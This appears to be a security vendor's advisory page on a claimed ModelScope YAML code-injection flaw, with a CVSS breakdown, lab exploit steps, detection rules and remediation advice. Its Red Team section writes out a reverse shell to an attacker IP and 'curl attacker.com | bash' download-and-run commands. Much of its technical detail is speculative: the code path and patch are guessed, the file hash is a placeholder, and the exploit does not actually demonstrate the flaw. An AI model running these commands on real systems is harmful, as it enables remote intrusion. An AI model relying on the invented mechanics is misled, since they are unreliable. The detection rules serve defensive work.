CVE-2025-51427
Executive Summary
CVE-2025-51427 is a critical code injection vulnerability in ModelScope version 1.25.0. The flaw resides in the configuration file parsing mechanism, specifically within the dey_mini.yaml file. An attacker can supply a crafted module name under the ['nnet']['module'] key, which is then dynamically loaded and executed without proper sanitization. This allows for arbitrary code execution on the server hosting the ModelScope application. The vulnerability has a CVSS score of 0.0 in the NVD data, but based on the impact and attack vector, it is assessed as critical. No public proof-of-concept (PoC) or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
ModelScope is a Python-based package ecosystem. This vulnerability directly impacts the supply chain by allowing an attacker to inject malicious code through a configuration file, which could be distributed as part of a model or project. Any application that uses ModelScope and processes untrusted dey_mini.yaml files is at risk. The lack of input validation on the module key means that an attacker can load arbitrary Python modules, including those from the standard library or third-party packages, leading to full system compromise.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely by sending a crafted configuration file.
- Attack Complexity (AC): Low (L) - No special conditions are required; the attacker only needs to provide a malicious YAML file.
- Privileges Required (PR): None (N) - No authentication is needed to trigger the vulnerability.
- User Interaction (UI): None (N) - The victim does not need to perform any action beyond loading the configuration.
- Scope (S): Unchanged (U) - The exploit does not change the security scope of the affected component.
- Confidentiality (C): High (H) - Full access to all data on the system.
- Integrity (I): High (H) - The attacker can modify or delete any data.
- Availability (A): High (H) - The attacker can disrupt services or cause a denial of service.
Threat Level: Critical. The combination of network exploitability, no privileges required, and full impact on confidentiality, integrity, and availability makes this a severe threat.
Deep Dive & Mechanics
The vulnerability is a classic case of code injection via dynamic module loading. ModelScope uses YAML configuration files to define neural network architectures. The dey_mini.yaml file contains a key nnet which has a sub-key module. The application reads this key and uses it to import and instantiate a Python module.
The vulnerable code path likely resembles:
import yaml
import importlib
config = yaml.safe_load(open('dey_mini.yaml'))
module_name = config['nnet']['module']
module = importlib.import_module(module_name)
# The module is then used to create an instance or call functions
The issue is that module_name is not validated or sanitized. An attacker can set it to any Python module, such as os, subprocess, or a custom malicious module. If the application then calls a function from this module (e.g., module.system('command')), arbitrary code execution is achieved.
The attack flow:
- Attacker crafts a
dey_mini.yamlfile withnnet.moduleset to a dangerous module likeos. - The file is uploaded or provided to the ModelScope application (e.g., via a web upload, API, or configuration endpoint).
- The application parses the YAML and imports the
osmodule. - The application then calls a function from the module, such as
os.system('curl attacker.com/shell.sh | bash'). - The attacker gains remote code execution on the server.
Vulnerable vs. Patched Code
Vulnerable Code (ModelScope 1.25.0):
import yaml
import importlib
def load_model(config_path):
with open(config_path, 'r') as f:
config = yaml.safe_load(f)
module_name = config['nnet']['module']
module = importlib.import_module(module_name)
# Assume the module has a class or function that is used
return module
Patched Code (Hypothetical):
import yaml
import importlib
import re
ALLOWED_MODULES = ['modelscope.modules.base', 'modelscope.modules.transformer']
def load_model(config_path):
with open(config_path, 'r') as f:
config = yaml.safe_load(f)
module_name = config['nnet']['module']
if module_name not in ALLOWED_MODULES:
raise ValueError(f"Module {module_name} is not allowed")
module = importlib.import_module(module_name)
return module
The patch would involve whitelisting allowed modules or sanitizing the input to prevent arbitrary imports.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install ModelScope 1.25.0:
pip install modelscope==1.25.0 - Create a vulnerable application that loads
dey_mini.yaml. - Create a malicious YAML file.
Exploit Steps:
- Create
dey_mini.yamlwith the following content:nnet: module: os - Create a Python script that loads the configuration and triggers code execution:
import yaml import importlib config = yaml.safe_load(open('dey_mini.yaml')) module = importlib.import_module(config['nnet']['module']) # Execute a command, e.g., reverse shell module.system('bash -i >& /dev/tcp/attacker_ip/4444 0>&1') - Run the script on the target server.
Alternative Exploit (Using a custom module):
- Create a malicious module
evil.py:import os def run(): os.system('curl http://attacker.com/payload.sh | bash') - Set
nnet.moduletoeviland ensureevil.pyis in the Python path. - The application will import and execute
evil.run().
Blue Team
Detection:
- Monitor for unusual Python module imports, especially
os,subprocess,sys, orimportlib. - Look for YAML files with suspicious
modulekeys. - Use file integrity monitoring to detect changes to
dey_mini.yaml.
Hunting:
- Search for logs containing
importlib.import_moduleoryaml.safe_loadwith user-controlled input. - Check for outbound connections to unknown IPs after ModelScope processes a configuration file.
Prevention:
- Implement strict input validation on the
modulekey. - Use a whitelist of allowed modules.
- Run ModelScope in a sandboxed environment (e.g., Docker with read-only filesystem).
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
dey_mini.yamlwith malicious content:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example, replace with actual)
- Network Indicators:
- Outbound connections to attacker-controlled IPs on ports 4444, 8080, etc.
- DNS queries to malicious domains.
- Process Indicators:
- Python processes spawning shells (
bash,sh,cmd.exe). - Unexpected child processes of Python (e.g.,
curl,wget,nc).
- Python processes spawning shells (
- File System Indicators:
- Presence of
dey_mini.yamlin unexpected locations. - New files in
/tmp/or/var/tmp/created by the ModelScope process.
- Presence of
Detection Engineering
YARA Rule
rule CVE_2025_51427_ModelScope_CodeInjection {
meta:
description = "Detects malicious dey_mini.yaml files targeting CVE-2025-51427"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-51427"
strings:
$module_key = "nnet:" ascii wide nocase
$module_value = "module:" ascii wide nocase
$dangerous = /module:\s*(os|subprocess|sys|shutil|ctypes|importlib)/ ascii wide nocase
condition:
$module_key and $module_value and $dangerous
}
Sigma Rule
title: CVE-2025-51427 - ModelScope Code Injection via dey_mini.yaml
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-51427 by loading dangerous Python modules via dey_mini.yaml
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/python3'
CommandLine|contains: 'importlib.import_module'
filter:
CommandLine|contains:
- 'os'
- 'subprocess'
- 'sys'
condition: selection and filter
falsepositives:
- Legitimate use of these modules in ModelScope code
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-51427 - ModelScope Code Injection Attempt"; flow:to_server; content:"dey_mini.yaml"; http_uri; content:"nnet"; http_client_body; content:"module"; http_client_body; pcre:"/module:\s*(os|subprocess|sys|shutil|ctypes|importlib)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the processing of untrusted YAML configuration files. If possible, remove the
dey_mini.yamlparsing feature until a patch is available. - Input Validation: Implement strict validation on the
modulekey. Only allow modules from a predefined whitelist (e.g.,modelscope.modules.*). - Sandboxing: Run ModelScope in a container with minimal privileges and a read-only filesystem. Use seccomp or AppArmor to restrict system calls.
- Monitoring: Deploy the YARA, Sigma, and Suricata rules provided above to detect exploitation attempts.
- Patch: Monitor the ModelScope repository for an official patch. Apply it as soon as it is released.
- User Education: Warn users not to load configuration files from untrusted sources.
Valters IT
Securing Digital Frontiers